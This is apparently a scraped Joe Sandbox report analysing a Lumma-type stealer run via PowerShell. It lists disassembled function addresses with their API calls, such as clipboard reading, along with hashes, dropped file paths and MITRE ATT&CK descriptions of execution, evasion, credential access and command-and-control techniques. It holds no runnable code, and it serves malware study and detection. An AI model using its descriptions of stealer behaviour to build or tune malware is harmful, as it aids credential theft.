Opcode ID: 2113889d20fd7c9c411ab6a2aba348bd901a827719f9c1a9d7cfb8ea4c61774b
Instruction ID: 95cf4bee976dae0bcf9a79aead2fc5f500003fb62c798666b3966767b998ac5e
Opcode Fuzzy Hash: 2113889d20fd7c9c411ab6a2aba348bd901a827719f9c1a9d7cfb8ea4c61774b
Instruction Fuzzy Hash: 7EE067383C83017EF6B84754AC17F1536166B86F22F745315B7653D6E4CAE03159890D

Function 0043B5B5 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043B5B5
GetForegroundWindow.USER32 ref: 0043B5D0

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: eb91c03ac02748fd9a52c84624d36c8f3b0abdddf9006fb09863476707b900f4
Instruction ID: c9c837826981fc4d2580c52c24397bb06af3c9db5131d6b4f1e0de87f73497d6
Opcode Fuzzy Hash: eb91c03ac02748fd9a52c84624d36c8f3b0abdddf9006fb09863476707b900f4
Instruction Fuzzy Hash: A8D05EECE2000057C744AB61FC4B4173629D797309715953AFC0782312D536E428858B

Function 0043B162 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d04505e51facc5b32f2d46e3ea49eda4a71b90d2ad25abc0127d4398331492
Instruction ID: a1e78b3ceb65990a0dc15ec4eb894bfdfd4cd795acfd92ef14c0ecb3ae398032
Opcode Fuzzy Hash: 64d04505e51facc5b32f2d46e3ea49eda4a71b90d2ad25abc0127d4398331492
Instruction Fuzzy Hash: CBE02676595510BAD6152F38BC0BB2B36249F97B63F02243AF40190026EB6ED801C1DF

Function 0042F31C Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F35F

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a5e332c65244988efad0a3fad62dab6d46846a63c729a6b1c9e9e974a5697ce1
Instruction ID: b0e67e51cabac05ef7007a9fd91dfbb9b9c3aa36a7932c1a17be2c81c6bee5d5
Opcode Fuzzy Hash: a5e332c65244988efad0a3fad62dab6d46846a63c729a6b1c9e9e974a5697ce1
Instruction Fuzzy Hash: 7CF098B45097029FE314DF25D5A8B1ABBF1BB84304F10881CE5998B391D7B5A548CF82

Function 0042FB82 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FBC7

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: b9ace7e5ecfa49b5e397008da619b278df4797f36f2894134675a55ea546d02c
Instruction ID: 14902b2bb6b259fc0b89299fd859114d3daed4383d8227e32e78047560e3e05d
Opcode Fuzzy Hash: b9ace7e5ecfa49b5e397008da619b278df4797f36f2894134675a55ea546d02c
Instruction Fuzzy Hash: 25F074B45093419FE314DF61D5A871BBBE1FBC8308F20891CE0980B695C3B996498F82

Function 00439632 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043964B

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0ab2c1de21248f5cc5ebcf9bf3fcb36daf71926275e6500f406ad94933e9c0d7
Instruction ID: def4dad81fe2a48fb23eafc83009012cc86c19b116f157a98ec82edf970c520b
Opcode Fuzzy Hash: 0ab2c1de21248f5cc5ebcf9bf3fcb36daf71926275e6500f406ad94933e9c0d7
Instruction Fuzzy Hash: B9C08C30000622FBC2103F14BC0BB893A20EF02312F0314B1B441A90B1E724CC50C6C8

Non-executed Functions

Function 00431020 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 106clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431030
GetClipboardData.USER32 ref: 0043104B
GlobalLock.KERNEL32 ref: 0043106A
GetWindowLongW.USER32 ref: 004310BC
GlobalUnlock.KERNEL32 ref: 00431180
CloseClipboard.USER32 ref: 00431189

Strings

g, xrefs: 004310E1
z, xrefs: 004310D7
o, xrefs: 004310FF
i, xrefs: 00431109
y, xrefs: 004310E6
t, xrefs: 004310DC
}, xrefs: 004310F5
f, xrefs: 004310EB
j, xrefs: 004310F0
B, xrefs: 004310CD
~, xrefs: 004310D2

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: B$f$g$i$j$o$t$y$z$}$~
API String ID: 2832541153-3431088675
Opcode ID: 0160fd8d480660f35874ceb680c4164cf840f46fd641679df1f178a62e5b380e
Instruction ID: 2b5bc8521efa19f50317a139f46d1ceb2265f287572faca6612f44f9b77b85ae
Opcode Fuzzy Hash: 0160fd8d480660f35874ceb680c4164cf840f46fd641679df1f178a62e5b380e
Instruction Fuzzy Hash: 7B417CB050C3808ED301AF78D94935EBFE1AB9A308F09497EE5C986392D67D8558C767

Function 00425E20 Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 244COMMON

Download Yara Rule

Strings

2@, xrefs: 0042663C
Z5P7, xrefs: 004267AB
IF, xrefs: 00426897
K-r/, xrefs: 00426795
DE, xrefs: 004267D7
N)C+, xrefs: 0042678A
KLM, xrefs: 004265C2
"L!N, xrefs: 00426631
LE, xrefs: 004268A2
K%H', xrefs: 00426782
^G, xrefs: 0042688F
$A$C, xrefs: 004267CC
7\/^, xrefs: 004266E0
|!A#, xrefs: 00426826
Q9];, xrefs: 004267B6
S1]3, xrefs: 004267A0
n+), xrefs: 00426718

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID:
String ID: "L!N$$A$C$2@$7\/^$DE$IF$K%H'$K-r/$LE$N)C+$Q9];$S1]3$Z5P7$^G$n+)$|!A#$KLM
API String ID: 0-1086502116
Opcode ID: 41c6464524ea21cedc8cdaad1baebf8af02fdaf39373aa5bb2e0ae742d3a71b2
Instruction ID: b5e3e3002248b422e105bd253f303610e53f33e8b3b095550b94881be720018d
Opcode Fuzzy Hash: 41c6464524ea21cedc8cdaad1baebf8af02fdaf39373aa5bb2e0ae742d3a71b2
Instruction Fuzzy Hash: 2181CCB86083908BD3309F25E85279BBBF0FF92704F15492DE5C99B352D7798941CB8A

Function 004300B9 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 95COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043010D

Strings

M, xrefs: 00430137
a, xrefs: 0043019B
}, xrefs: 00430187
{, xrefs: 0043017D
w, xrefs: 00430169
K, xrefs: 0043012D
q, xrefs: 0043014B
y, xrefs: 00430173
b, xrefs: 004301A0
O, xrefs: 00430141
c, xrefs: 004301A5
u, xrefs: 0043015F
s, xrefs: 00430155

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: InitVariant
String ID: K$M$O$a$b$c$q$s$u$w$y${$}
API String ID: 1927566239-3974332
Opcode ID: 62173869f4b5f8ae6c41ea67a547a3728c53432e46bd58f5cc30ebd635a810a2
Instruction ID: 0880ca406e64cd27820feb041266c4c3ad1d07fce193fd926a63749628f74132
Opcode Fuzzy Hash: 62173869f4b5f8ae6c41ea67a547a3728c53432e46bd58f5cc30ebd635a810a2
Instruction Fuzzy Hash: 3F41377050C7C18ED325CB78845879FBFE1ABA6314F084A9DE4D94B3D2D6B98509C763

Function 004303DF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004303E9
VariantInit.OLEAUT32 ref: 004303FC

Strings

m, xrefs: 0043042B
p, xrefs: 00430435
&, xrefs: 0043045D

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: &$m$p
API String ID: 2610073882-1175575865
Opcode ID: fbbccc6316c81d781c046fa5f464a6966e20e8c2c4e7df863260449e87ccbe5d
Instruction ID: 0d9e2f7827293927a5cfb8656bdc0ef3d7868a73e2fca87288ca134e2872853a
Opcode Fuzzy Hash: fbbccc6316c81d781c046fa5f464a6966e20e8c2c4e7df863260449e87ccbe5d
Instruction Fuzzy Hash: 5A31D53050C7C18EC3619B38888869FBFE16BD7324F484A5DE5E64B2E2D7769049CB57

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.
Tactics:	Discovery
Data Sources:	Cloud Service: Cloud Service Enumeration, Command: Command Execution, Network Traffic: Network Traffic Flow
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\madonna[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5mepxzz.l2b.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovmfxnhv.kwp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rd5xyg20.vb4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uciw3b0c.0wb.psm1

Chrome Cache Entry: 51

Static File Info

Network Behavior

Function 079F0006 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre